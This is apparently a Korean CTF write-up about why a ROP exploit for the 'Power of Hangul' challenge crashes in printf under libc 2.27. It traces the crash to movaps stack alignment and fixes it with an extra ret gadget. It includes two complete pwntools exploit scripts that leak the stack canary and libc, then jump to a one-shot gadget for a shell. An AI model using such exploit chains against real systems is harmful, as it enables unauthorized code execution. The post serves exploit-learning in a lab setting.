메뉴 닫기

18.04에서 ROP를 할때 printf에서 크래시가 나는 경우

같은 코드인데 libc2.23 환경에서는 제대로 되는데 libc2.27환경에서는 레지스터, 포맷스트링등이 제대로 설정되었음에도 불구하고, printf에서 크래시가 나는 경우가 종종 있더라고요,,

우선 예제로 사용할 문제는 "Power of Hangul" 이라는 문제입니다.

(alkyne님께서 제공해주셨습니다. 감사합니다. xD)

다운로드 : http://kong.re.kr/poh

 

이문제는 카나리를 릭하고, libc를 rop를 이용해 릭을한후, ret를 원샷가젯에 맞춰주면 되는 문제인데요,

문제는 libc릭을 한 이후, 버퍼에 새로히 입력을 받아야 하는데, 이때 코드상 printf가 반드시 호출됩니다.

바이너리가 그런 구조에요ㅜㅜ

아래 익스코드는 16.04 환경에서는 정상적으로 작동합니다.

 

# -*- coding: cp949 -*-
from pwn import *

s = process("./poh")


libc_223_offset = [0x6F690,0x45216] #libc_puts, oneshot
libc_227_offset = [0x809C0,0x4f322] #libc_puts, oneshot

s.sendlineafter("select your choice : ","1")
s.sendlineafter("input your Hangul : ","A"*1031 + "B") #카나리 하위 1바이트가 \n으로 덮힌다.
s.recvuntil("B")
canary = u64(s.recv(8)) - 10
print hex(canary)


s.recvuntil("input your Hangul2 : ")



payload = "A"*1032
payload += p64(canary)
payload += p64(0x602200 + 0x410) #rbp 0x602500
payload += p64(0x0000000000400E22 + 1) #pop rdi + ret
payload += p64(0x0000000000601FA8) #puts got

"""
payload += p64(0x0000000000400E22 - 1) #pop rsi pop r15 ret
payload += p64(0)*2
"""

payload += p64(0x00000000004006F8) #puts plt
payload += p64(0x0000000000400D07) #where to return

#raw_input()

s.sendline(payload)

s.recvuntil("end !! \n")

recv = s.recv(6)

libc_puts = recv.ljust(8,"\x00")
libc_base = u64(libc_puts) - libc_223_offset[0]


s.recvuntil("gul2 : ")

payload = "/bin/sh\x00"
payload += "A"*(1032 - 8)
payload += p64(canary)
payload += p64(0) #sfp


payload += p64(0x0000000000400E24) # ret
payload += p64(libc_base + libc_223_offset[1]) #one shot 0x45216 0x4f322

s.sendline(payload)


s.interactive()

 

그러나 18.04에서는 libc_puts와 oneshot가젯 주소를 제대로 계산해줬음에도 불구하고, printf에서 크래시가 났습니다.ㅜㅜ

 

여기서 계속 안되서 주창이한테 헬프를 쳤더니

해결법 알려주었습니다! 만세! 그런데 이유는 모르겠다네요..ㅜㅜ

 

그래서, libc내부를 디버깅 해봤습니다.

대충 printf를 부르면 printf -> vfprintf -> -> buffered_vfprintf ->_IO_vfprintf -> (…) 같은 과정을 거치는데요,

(사실 그 뒤는 디버깅 안해봄)

문제는 buffered_vfprintf 함수 내부에서 _IO_vfprintf 부르기 직전에 발생했습니다.

"movaps  [rsp+2168h+var_2118], xmm0" 라는 인스트럭션에서 크래시가 나는데, 이 인스트럭션은 libc 2.23 버전에는 존재하지 않고 2.27에는 존재하였습니다.

아마 컴파일 최적화 옵션을 바꿨거나, 컴파일러가 바뀌었거나, 그런 이유들로 SSE 인스트럭션이 들어간 것 같습니다.

암튼 이 인스트럭션에서 크래시가 나는데, 생각해보면 mov 같은 명령어에서 크래시가 날 이유가 딱히 없습니다.(…) ㅜㅜ

그래서 한참 고민했는데, 답은 인텔메뉴얼 1169페이지에 있었습니다.

"When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte (128-bit version) ~ "

즉 movaps를 사용할때 오퍼렌드에 메모리가 들어가면, 메모리 주소가 16의 배수여야 한다는 소리인데요, 아래와 같은 코드를 작성하여 크래시가 날때와 나지 않을때 값을 비교해보면,,

rv = idaapi.regval_t()
idaapi.get_reg_val("xmm0", rv)
print "first operand  : ", hex(GetRegValue("rsp") + 0x2168 - 0x2118)
print "sencode operand", "0x" + (rv.bytes().encode('hex'))

 ### 크래시가 날때

first operand  :  0x7ffe5a9bed58L
sencode operand 0x38ee9b5afe7f000038ee9b5afe7f0000

### 크래시가 나지 않을때

first operand  :  0x7ffef8c2d2a0L
sencode operand 0x80d3c2f8fe7f000080d3c2f8fe7f0000

 

rsp는 8의 배수로 움직이는 반면, movaps는 (메모리의 경우) 16의 배수만을 오퍼렌드로 취하기 때문에 발생하는 문제였습니다.

이 문제의 경우(rop의 경우) 스택을 8*홀수 만큼 땡기거나 밀어주면 되는데, 쉽게 말하면 ret를 한번 더 써주면 됩니다. (유사 ret sleding)

(혹은 함수 시작으로 ret를 해야할경우 push rbp 바로 다음 인스트럭션으로 ret하도록 하면 됩니다.)

후,, 이유를 알았으니 18.04에서도 제대로 돌아가는 익스코드를 작성했습니다.

# -*- coding: cp949 -*-
from pwn import *

s = process("./poh")


libc_223_offset = [0x6F690,0x45216] #libc_puts, oneshot
libc_227_offset = [0x809C0,0x4f322] #libc_puts, oneshot

s.sendlineafter("select your choice : ","1")
s.sendlineafter("input your Hangul : ","A"*1031 + "B") #카나리 하위 1바이트가 \n으로 덮힌다.
s.recvuntil("B")
canary = u64(s.recv(8)) - 10
print hex(canary)


s.recvuntil("input your Hangul2 : ")



payload = "A"*1032
payload += p64(canary)
payload += p64(0x602200 + 0x410) #rbp 0x602500
payload += p64(0x0000000000400E22 + 1) #pop rdi + ret
payload += p64(0x0000000000601FA8) #puts got
payload += p64(0x0000000000400E24) #ret 별별별
payload += p64(0x00000000004006F8) #puts plt
payload += p64(0x0000000000400D07) #where to return

#raw_input()

s.sendline(payload)

s.recvuntil("end !! \n")

recv = s.recv(6)

libc_puts = recv.ljust(8,"\x00")
libc_base = u64(libc_puts) - libc_227_offset[0]


s.recvuntil("gul2 : ")

payload = "/bin/sh\x00"
payload += "A"*(1032 - 8)
payload += p64(canary)
payload += p64(0) #sfp

payload += p64(0x0000000000400E24) # ret
payload += p64(libc_base + libc_227_offset[1]) #one shot

s.sendline(payload)


s.interactive()

 

* 사실 딱히 rop가 아닌경우에도 이 문제가 일어날 수 있지만, rop할때 주로 일어날 것 같은 상황이라 제목을 저렇게 설정하였습니다.

4 Comments

  1. 세브란스정

    저 근데 메모리 오페렌드가 16의 배수여야 한다에서 어떻게 rop에 ret을 하나 더 추가하면 된다는 결론이 나오셨는지 설명해주실수 있으신가요 되긴 됬는데…이유를 정확히 모르겠어서

세브란스정에게 댓글 남기기 댓글 취소

이메일은 공개되지 않습니다.